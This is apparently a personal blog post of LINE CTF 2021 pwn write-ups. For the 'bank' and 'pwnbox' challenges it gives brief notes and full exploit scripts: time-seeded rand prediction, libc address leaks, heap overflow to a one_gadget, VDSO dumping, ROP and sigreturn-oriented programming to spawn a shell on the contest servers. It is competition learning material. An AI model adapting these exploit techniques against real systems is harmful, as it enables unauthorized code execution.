CTFするぞ

CTF以外のことも書くよ

LINE CTF 2021 Writeups

I'm tired since I played 2 CTFs successively without sleep. So, I only leave very simple writeups.

Other members' writeups:

st98.github.io

Although there were lots of pwn tasks, I only solved 2 tasks.*1 (Spending most time on sqlite pwn, I couldn't even check half of the pwn tasks.)

[pwn 428pts] bank (9 solves)

  • 80% rev + 20% pwn *2
  • We can win the lottery as it uses glibc rand + time
  • Obvious address leak in the prize form
  • Earn money by lottery, loan money more than 20 times to become a VIP member
  • VIP can cause heap overflow in the edit function
  • Overwrite a function pointer on the heap to win
from ptrlib import *
import ctypes

def accounts():
    sock.sendlineafter("Input : ", "1")
    ids = []
    while True:
        l = sock.recvline()
        if b'Menu' in l:
            break
        elif b'type :' in l:
            ids.append(int(sock.recvlineafter("number : ")))
    return ids
def history():
    sock.sendlineafter("Input : ", "2")
def transfer(id, amount):
    sock.sendlineafter("Input : ", "3")
    sock.sendlineafter("transfer.", str(id))
    sock.sendlineafter("transfer.", str(amount))
def loan():
    sock.sendlineafter("Input : ", "4")
def lottery(num):
    sock.sendlineafter("Input : ", "5")
    for n in num:
        sock.sendlineafter(": ", str(n))
def add_user(name, password):
    sock.sendlineafter("Input : ", "6")
    sock.sendlineafter("ID : ", name)
    if b'Password' not in sock.recv(20):
        return False
    else:
        sock.sendline(password)
        return True
def login(name, password):
    sock.sendlineafter("Input : ", "7")
    sock.sendlineafter("ID : ", name)
    sock.sendlineafter("Password : ", password)
def user():
    sock.sendlineafter("Input : ", "7")
def info():
    sock.sendlineafter("Input : ", "1")
def delete():
    sock.sendlineafter("Input : ", "3")
def edit(data):
    sock.sendlineafter("Input : ", b"2" + data)
def back():
    sock.sendlineafter("Input : ", "0")
def vip(id, amount):
    sock.sendlineafter("Input : ", "8")
    sock.sendlineafter("transfer.", str(id))
    sock.sendlineafter("transfer.", str(amount))

#sock = Process("./Lazenca.Bank")
#sock = Socket("localhost", 9999)
sock = Socket("35.200.24.227", 10002)

libc = ELF("./libc-2.31.so")
glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so')

add_user("legoshi", "pina")
login("legoshi", "pina")
for i in range(9):
    loan()
# re-loan
user()
delete()
if not add_user("tao", "bill"):
    add_user("hal", "louis")
login("hal", "louis")
for i in range(9):
    loan()
user()
delete()
if not add_user("tao", "bill"):
    add_user("fudge", "riz")
login("fudge", "riz")
for i in range(9):
    loan()

glibc.srand(glibc.time(0))
num = [0 for i in range(7)]
for i in range(7):
    while True:
        n = glibc.rand() % 37 + 1
        if n not in num[:i]:
            break
    num[i] = n
lottery(num)
# address leak
sock.sendafter("Name : ", "A" * 0x10)
sock.sendafter("Address : ", "B" * 0x18)
a = sock.recvlineafter("A" * 0x10)
b = sock.recvlineafter("B" * 0x18)
libc_base = u64(a) - libc.symbol("_IO_2_1_stdout_")
proc_base = u64(b) - 0x35f0
logger.info("libc = " + hex(libc_base))
logger.info("proc = " + hex(proc_base))

# become vip
ids = accounts()[1:]
for id in ids:
    transfer(id, 114514)
user()

# heap bof to win
one_gadget = 0xe6c81
edit(b"A" * 0x38 + p64(libc_base + one_gadget))
back()
vip(accounts()[-1], 0)

sock.interactive()

[pwn 496pts] pwnbox (3 solves)

  • Simple buffer overflow in a tiny binary
  • Only syscall; leave; ret gadget is available (cannot controll the value of rax)
  • Leak the stack address in the first round
  • Overwrite the saved rbp to leak the stack
  • Find the address of VDSO
  • Dump VDSO of the remote machine
  • Use ROP gadgets in VDSO
    • No useful gadgets found by ropper, rp++, ROPgadget
    • Manually found add edx, 1; cmp rax, 0x3b9ac9ff; ja 0x7ffff7ffebda; add qword ptr [rsi], rdx; mov qword ptr [rsi + 8], rax; mov eax, dword ptr [rsp + 0xc]; test eax, eax; jne 0x7ffff7ffea92; lea rsp, [rbp - 0x20]; xor eax, eax; pop rbx; pop r12; pop r13; pop r14; pop rbp; ret; gadget
  • Increment edx > 15
  • Call SYS_read to make eax = 15 (=SYS_sigreturn)
  • Sigreturn oriented programming

VDSO leaker:

from ptrlib import *

with open("vdso.remote", "rb") as f:
    vdso = f.read()
offset = len(vdso)
while True:
    logger.info("offset = {}".format(offset))
    """
    sock = Socket("localhost", 12345)
    delta = 0x1f61
    #sock = Socket("localhost", 9999)
    #delta = 0x1f6e
    remote = False
    """
    sock = Socket("34.85.14.159", 10004)
    delta = 0x1f6d
    remote = True
    #"""

    addr_stage = 0x402010
    rop_read = 0x401046
    rop_write = 0x401059
    rop_syscall = 0x00401011

    payload  = b'A' * 0x10
    payload += p64(addr_stage) # saved rbp
    payload += p64(rop_read)
    sock.sendafter("Login: ", payload)
    addr_stack = u64(sock.recvline()[0x30:0x38]) - delta
    logger.info("stack = " + hex(addr_stack))

    payload  = b'B' * 0x10
    payload += p64(addr_stack)
    payload += p64(rop_read)
    payload += b'\0' * 0x18
    sock.send(payload)
    sock.recv()

    payload  = b'C' * 0x10
    payload += p64(addr_stage)
    payload += p64(rop_read)
    payload += b'C' * 0xf00
    sock.send(payload)
    output = b''
    try:
        while len(output) <= len(payload) * 2:
            output += sock.recv(timeout=1)
    except KeyboardInterrupt:
        sock.close()
        continue
    # remote!
    if remote:
        output = output[2:]
    for block in chunks(output, 8):
        addr = u64(block)
        if addr >> 40 == 0x7f and addr & 0xff == 00:
            addr_vdso = addr
            break
    else:
        sock.close()
        continue
    logger.info("vdso = " + hex(addr_vdso))

    payload  = b'B' * 0x10
    payload += p64(addr_vdso + 0x10 + offset)
    payload += p64(rop_write)
    payload += b'\0' * 0x18
    sock.send(payload)
    import time
    time.sleep(0.5)
    sock.recv(len(payload) * 2 + 10)

    vdso += sock.recv(20)
    with open("vdso.remote", "wb") as f:
        f.write(vdso)
    offset = len(vdso)

    sock.close()

Solver:

from ptrlib import *

"""
sock = Socket("localhost", 12345)
delta = 0x1f61
#sock = Socket("localhost", 9999)
#delta = 0x1f6e
remote = False
"""
sock = Socket("34.85.14.159", 10004)
delta = 0x1f6d
remote = True
#"""

addr_stage = 0x402010
rop_read = 0x401046
rop_syscall = 0x4010af

payload  = b'A' * 0x10
payload += p64(addr_stage) # saved rbp
payload += p64(rop_read)
sock.sendafter("Login: ", payload)
addr_stack = u64(sock.recvline()[0x30:0x38]) - delta
logger.info("stack = " + hex(addr_stack))

payload  = b'B' * 0x10
payload += p64(addr_stack)
payload += p64(rop_read)
payload += b'\0' * 0x18
sock.send(payload)
sock.recv()

payload  = b'C' * 0x10
payload += p64(addr_stage)
payload += p64(rop_read)
payload += b'C' * 0xf00
sock.send(payload)
output = b''
while len(output) <= len(payload) * 2:
    output += sock.recv(timeout=1)
# remote!
if remote:
    output = output[2:]
for block in chunks(output, 8):
    addr = u64(block)
    if addr >> 40 == 0x7f and addr & 0xff == 00:
        addr_vdso = addr
        break
else:
    logger.warn("Bad luck")
    exit(1)
logger.info("vdso = " + hex(addr_vdso))

rop_xor_eax_eax_pop_rbp = addr_vdso + 0x0000000000000f46
rop_add_edx_1 = addr_vdso + 0xbe0

delta = (-(0x402000 - 0xA4B0204) ^ 0xffffffffffffffff) + 1
payload  = b'/bin/sh\0'
payload += p64(0x402000) # rbx
payload += p64(0x402020 + 0x20) # rbp
for i in range(1, 10): # make rdx > 15
    payload += p64(rop_add_edx_1)
    payload += p64(0) + p64((1<<64)-1) + p64(0) + p64(0)
    payload += p64(0x402020 + 0x20 + i*0x30) # rbp
payload += p64(rop_xor_eax_eax_pop_rbp)
payload += p64(0x4021e0 - 0x10)
payload += p64(rop_syscall) # read + sigreturn
payload += b"AAAAAAAA" * 5
payload += flat([
    0, 0, 0, 0, 0, 0, 0, 0,
    0x402000, # rdi
    0, # rsi
    0, # rbp
    0, # rbx
    0, # edx
    59, # rax
    0, # rcx
    0x402000, # rsp
    rop_syscall, # rip
    0, # eflags
    0x33 # csgsfs
], map=p64)
payload += b'AAAAAAAA' * 4
payload += p64(0)

sock.send(payload)
sock.recv()

sock.send("x" * 15)

sock.interactive()

*1:ptr-newbie, Q.E.D.

*2:Distribute the source code of pwn tasks that requires heavy rev, seriously.